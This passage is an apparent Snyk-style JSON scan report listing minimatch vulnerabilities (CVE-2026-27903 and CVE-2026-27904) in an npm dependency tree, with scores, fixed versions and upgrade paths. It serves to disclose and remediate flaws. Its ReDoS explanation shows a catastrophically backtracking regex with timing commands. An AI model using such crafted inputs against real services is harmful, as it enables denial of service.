Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's 